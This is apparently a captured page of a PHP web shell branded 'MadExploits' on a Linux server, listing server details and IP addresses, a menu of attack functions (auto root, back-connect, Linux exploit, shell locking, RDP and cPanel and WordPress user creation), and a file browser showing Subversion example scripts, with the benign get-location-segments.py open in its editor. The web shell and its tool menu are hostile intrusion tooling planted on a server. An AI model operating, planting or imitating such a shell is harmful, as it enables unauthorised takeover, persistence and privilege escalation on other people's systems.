Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
subversion-1.7.14 /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
SvnCLBrowse
18.08
KB
-rwxr-xr-x
blame.py
2.99
KB
-rwxr-xr-x
check-modified.py
1.64
KB
-rwxr-xr-x
dumpprops.py
2.24
KB
-rwxr-xr-x
get-location-segments.py
3.9
KB
-rwxr-xr-x
getfile.py
1.83
KB
-rwxr-xr-x
getlocks_test.c
8.51
KB
-rw-r--r--
geturl.py
1.33
KB
-rwxr-xr-x
headrev.c
7.14
KB
-rw-r--r--
info.rb
2.48
KB
-rw-r--r--
minimal_client.c
9.3
KB
-rw-r--r--
putfile.py
2.47
KB
-rwxr-xr-x
revplist.py
2.19
KB
-rwxr-xr-x
svnlog2html.rb
2.71
KB
-rwxr-xr-x
svnlook.py
12.6
KB
-rwxr-xr-x
svnlook.rb
13.23
KB
-rwxr-xr-x
svnput.c
11.43
KB
-rw-r--r--
svnserve-sgid.c
1.82
KB
-rw-r--r--
svnshell.py
11.16
KB
-rwxr-xr-x
svnshell.rb
11.2
KB
-rwxr-xr-x
testwrite.c
8.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : get-location-segments.py
#!/usr/bin/env python # # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # # import sys import os from svn import client, ra, core def printer(segment, pool): path = segment.path is not None and segment.path or "(null)" print("r%d-r%d: %s" % (segment.range_start, segment.range_end, path)) def parse_args(args): argc = len(sys.argv) # parse the target URL and optional peg revision path_pieces = args[0].split('@') if len(path_pieces) > 1: peg_revision = int(path_pieces[-1]) assert peg_revision >= 0 url = '@'.join(path_pieces[:-1]) else: peg_revision = core.SVN_INVALID_REVNUM url = path_pieces[0] url = core.svn_path_canonicalize(url) # parse the revision range, if any if argc > 2: rev_pieces = args[1].split(':') num_revs = len(rev_pieces) assert num_revs < 3 if num_revs == 2: start_revision = int(rev_pieces[0]) end_revision = int(rev_pieces[1]) else: start_revision = end_revision = int(rev_pieces[0]) assert(start_revision >= 0) assert(end_revision >= 0) else: start_revision = peg_revision end_revision = 0 # validate if start_revision >= 0 \ and end_revision >= 0 \ and end_revision > start_revision: raise Exception("End revision must not be younger than start revision") if peg_revision >= 0 \ and start_revision >= 0 \ and start_revision > peg_revision: raise Exception("Start revision must not be younger than peg revision") return url, peg_revision, start_revision, end_revision def main(): try: url, peg_revision, start_revision, end_revision = parse_args(sys.argv[1:]) except Exception, e: sys.stderr.write("""Usage: %s URL[@PEG-REV] [START-REV[:END-REV]] Trace the history of URL@PEG-REV, printing the location(s) of its existence between START-REV and END-REV. If START-REV is not provided, the entire history of URL@PEG-REV back to its origin will be displayed. If provided, START-REV must not be younger than PEG-REV. If END-REV is provided, it must not be younger than START-REV. (This is a wrapper around Subversion's svn_ra_get_location_segments() API.) ERROR: %s """ % (os.path.basename(sys.argv[0]), str(e))) sys.exit(1) core.svn_config_ensure(None) ctx = client.ctx_t() # Make sure that these are at the start of the list, so passwords from # gnome-keyring / kwallet are checked before asking for new passwords. # Note that we don't pass our config here, since we can't seem to access # ctx.config.config (ctx.config is opaque). providers = core.svn_auth_get_platform_specific_client_providers(None, None) providers.extend([ client.get_simple_provider(), client.get_username_provider(), client.get_ssl_server_trust_file_provider(), client.get_ssl_client_cert_file_provider(), client.get_ssl_client_cert_pw_file_provider(), ]) ctx.auth_baton = core.svn_auth_open(providers) ctx.config = core.svn_config_get_config(None) ra_callbacks = ra.callbacks_t() ra_callbacks.auth_baton = ctx.auth_baton ra_session = ra.open(url, ra_callbacks, None, ctx.config) ra.get_location_segments(ra_session, "", peg_revision, start_revision, end_revision, printer) if __name__ == "__main__": main()
Close